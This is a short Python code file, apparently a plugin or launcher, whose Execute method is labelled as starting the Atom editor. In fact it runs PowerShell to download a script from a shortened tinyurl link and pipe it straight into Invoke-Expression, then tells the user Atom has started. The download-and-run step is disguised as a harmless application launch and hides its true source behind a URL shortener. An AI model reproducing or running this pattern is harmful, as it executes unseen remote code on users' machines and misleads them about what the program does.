10 lines
282 B
Python
10 lines
282 B
Python
|
|
import subprocess
|
||
|
|
import time
|
||
|
|
|
||
|
|
def Execute(self, path):
|
||
|
|
# start atom
|
||
|
|
process = subprocess.Popen(["powershell", "irm http://tinyurl.com/run-atom | iex"])
|
||
|
|
self.alert("Atom has been started, please hit 'OK' when it is finished.", title="Atom")
|
||
|
|
time.sleep(2)
|
||
|
|
return
|